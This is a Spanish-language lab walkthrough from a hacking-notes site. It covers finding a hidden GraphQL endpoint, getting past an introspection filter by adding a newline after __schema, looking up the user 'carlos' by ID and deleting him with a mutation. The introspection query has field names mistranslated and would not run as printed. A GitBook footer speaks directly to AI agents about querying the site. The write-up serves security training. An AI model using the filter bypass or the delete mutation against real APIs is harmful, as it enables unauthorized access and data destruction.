> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/graphql/graphql-cached-endpoint-discovery.md).

# Descubrimiento de un endpoint almacenado en caché de GraphQL

### Encontrar un endpoint GraphQL oculto

**Contexto del laboratorio**

Las funciones de gestión de usuarios de este laboratorio se basan en un GraphQL **oculto** endpoint. / No es posible descubrir esto simplemente navegando por el sitio, y **PlotQL** hay mecanismos de defensa en su lugar.

**Objetivo:**

* Identificar el endpoint GraphQL oculto
* Eliminar usuario **carlos**

<figure><img src="/files/5c84213b5ddf1fb48c9fae5abef7ffc87221d1d0" alt=""><figcaption></figcaption></figure>

**Reconocimiento inicial**

Al navegar normalmente por la aplicación, no hay pistas visibles que revelen el uso de GraphQL. / Por lo tanto, es necesario probar manualmente las rutas GraphQL más comunes.

**Prueba de rutas GraphQL comunes**

Se prueban las siguientes rutas

```bash
/graphql
/graphiql
/v1/graphql
/v2/graphql
/v3/graphql
/v1/graphiql
/v2/graphiql
/v3/graphiql
/playground
/v1/playground
/v2/playground
/v3/playground
/api/v1/playground
/api/v2/playground
/api/v3/playground
/console
/api/graphql
/api/graphiql
/explorer
/api/v1/graphql
/api/v2/graphql
/api/v3/graphql
/api/v1/graphiql
/api/v2/graphiql
/api/v3/graphiql
```

La ruta **`/api`** responde con el siguiente mensaje:

```bash
"Consulta no presente"
```

Esto indica claramente la presencia de un endpoint GraphQL activo.

<figure><img src="/files/0e0a4bedbcbf7ec35cdea47d902778fc4aa76bed" alt=""><figcaption></figcaption></figure>

**Verificación del filtrado de introspección**

Se envía una solicitud de introspección sencilla mediante URL:

```bash
api?query={__schema{types{name}}}
```

Respuesta del servidor:

`La introspección de GraphQL no está permitida, pero la consulta contenía __schema o __type`

<figure><img src="/files/66dc9ea29bae24176e032e17223146ded99479e2" alt=""><figcaption></figcaption></figure>

El mismo bloqueo ocurre al enviar una solicitud completa de introspección a través de Burp o GraphiQL.

{% code overflow="wrap" %}

```bash
query IntrospectionQuery {
    __schema {
        queryType {
            nombre
        }
        mutationType {
            nombre
        }
        subscriptionType {
            nombre
        }
        types {
            ...FullType
        }
        directives {
            nombre
            description
            locations
            args {
                ...InputValue
            }
        }
    }
}

fragment FullType on __Type {
    kind
    nombre
    description
    fields(includeDeprecated: true) {
        nombre
        description
        args {
            ...InputValue
        }
        type {
            ...TypeRef
        }
        isDeprecated
        deprecationReason
    }
    inputFields {
        ...InputValue
    }
    interfaces {
        ...TypeRef
    }
    enumValues(includeDeprecated: true) {
        nombre
        description
        isDeprecated
        deprecationReason
    }
    possibleTypes {
        ...TypeRef
    }
}

fragment InputValue on __InputValue {
    nombre
    description
    type {
        ...TypeRef
    }
    defaultValue
}

fragment TypeRef on __Type {
    kind
    nombre
    ofType {
        kind
        nombre
        ofType {
            kind
            nombre
            ofType {
                kind
                nombre
            }
        }
    }
}
```

{% endcode %}

<figure><img src="/files/59c8af00194be6d2a4cf3cb95f1377cb2f90024a" alt=""><figcaption></figcaption></figure>

**Elusión del bloqueo de la introspección**

Para eludir el filtrado basado en palabras clave `__schema` y `__type`, se **salto de línea** se añade antes de la llave de apertura:

```graphql
__schema
     {
```

Esta pequeña modificación permite que la solicitud sea aceptada y procesada por el servidor.

<figure><img src="/files/b48c4177e6710c7e3c98ba1256c2fdbc730d69d8" alt=""><figcaption></figcaption></figure>

**Análisis del esquema GraphQL**

Una vez que se acepta la introspección, las solicitudes descubiertas se envían a **sitemap** para analizarlas más fácilmente.

<figure><img src="/files/e96855ab9aa1f92b34a79e67a449b91d71f7560b" alt=""><figcaption></figcaption></figure>

Se identifican dos solicitudes importantes.

<figure><img src="/files/d0cdb94e253c1fb8bfc4e340a6aa23de233464dc" alt=""><figcaption></figcaption></figure>

**Recuperación de un usuario por ID**

Solicitud para obtener el nombre de usuario a partir de su identificador:

```graphql
query($id: Int!) {
  getUser(id: $id) {
    id
    username
  }
}
```

Al proporcionar el siguiente ID:

```json
{
    "id":3
}
```

Se identifica que el usuario con el ID **3** corresponde a **carlos**.

<figure><img src="/files/c558cceb10d3627df81348b4261455b20639e18a" alt=""><figcaption></figcaption></figure>

**Eliminación del usuario carlos**

Una transferencia elimina a un usuario de la organización:

```graphql
mutation($input: DeleteOrganizationUserInput) {
  deleteOrganizationUser(input: $input) {
    user {
      id
      username
    }
  }
}
```

Carga útil utilizada:

```graphql
{
  "input": {
    "id": 3
  }
}
```

El usuario **carlos** después se elimina correctamente.

<figure><img src="/files/53baed377f17f0a678aee57ee5bc39c891f07187" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/graphql/graphql-cached-endpoint-discovery.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
